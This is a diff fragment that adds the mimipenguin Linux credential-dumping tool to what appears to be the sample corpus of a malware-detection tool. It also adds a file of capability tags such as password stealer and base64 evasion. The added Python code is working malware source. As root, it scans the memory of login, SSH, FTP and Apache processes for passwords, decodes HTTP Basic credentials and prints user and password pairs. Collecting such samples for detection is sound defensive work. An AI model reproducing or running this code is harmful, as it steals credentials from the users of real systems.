__init__(self): + PasswordFinder.__init__(self) + self._source_name = '[SYSTEM - VSFTPD]' + self._target_processes = ['vsftpd'] + self._needles = [ + r'^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$'] + + +class SshdPasswordFinder(PasswordFinder): + def __init__(self): + PasswordFinder.__init__(self) + self._source_name = '[SYSTEM - SSH]' + self._target_processes = ['sshd:'] + self._needles = [r'^sudo.+'] + + +class ApachePasswordFinder(PasswordFinder): + def __init__(self): + PasswordFinder.__init__(self) + self._source_name = '[HTTP BASIC - APACHE2]' + self._target_processes = ['apache2'] + self._needles = [r'^Authorization: Basic.+'] + + def _try_potential_passwords(self): + valid_passwords = list() + + for potential_password in self._potential_passwords: + try: + potential_password = base64.b64decode(potential_password) + except binascii.Error: + continue + else: + try: + user, password = potential_password.split(':', maxsplit=1) + valid_passwords.append((user, password)) + except IndexError: + continue + + return valid_passwords + + def dump_passwords(self): + self._dump_target_processes() + self._find_potential_passwords() + + return self._try_potential_passwords() + + +def main(): + if not running_as_root(): + raise RuntimeError('mimipenguin should be ran as root') + + password_finders = list() + + if find_pid('gdm-password'): + password_finders.append(GdmPasswordFinder()) + if find_pid('gnome-keyring-daemon'): + password_finders.append(GnomeKeyringPasswordFinder()) + if find_pid('lightdm'): + password_finders.append(LightDmPasswordFinder()) + if os.path.isfile('/etc/vsftpd.conf'): + password_finders.append(VsftpdPasswordFinder()) + if os.path.isfile('/etc/ssh/sshd_config'): + password_finders.append(SshdPasswordFinder()) + if os.path.isfile('/etc/apache2/apache2.conf'): + password_finders.append(ApachePasswordFinder()) + + for password_finder in password_finders: + for valid_passwords in password_finder.dump_passwords(): + print('{}\t{}:{}'.format(password_finder._source_name, + valid_passwords[0], valid_passwords[1])) + + +if __name__ == '__main__': + main() diff --git a/samples/Linux/mimipenguin/python/mimipenguin.simple b/samples/Linux/mimipenguin/python/mimipenguin.simple new file mode 100644 index 000000000..2f1f220f9 --- /dev/null +++ b/samples/Linux/mimipenguin/python/mimipenguin.simple @@ -0,0 +1,22 @@ +# Linux/mimipenguin/python/mimipenguin +3P/signature_base/mimipenguin +combo/stealer/password +encoding/base64 +evasion/base64/decode +fd/read +kernel/platform +process/list +process/name/get +procfs/arbitrary/pid +procfs/pid/cmdline +procfs/pid/maps +ref/daemon +ref/path/etc +ref/path/usr/bin +ref/program/gnome/keyring/daemon +ref/program/sshd +ref/program/sudo +ref/site/url +ref/words/password +ref/words/password_finder +secrets/shadow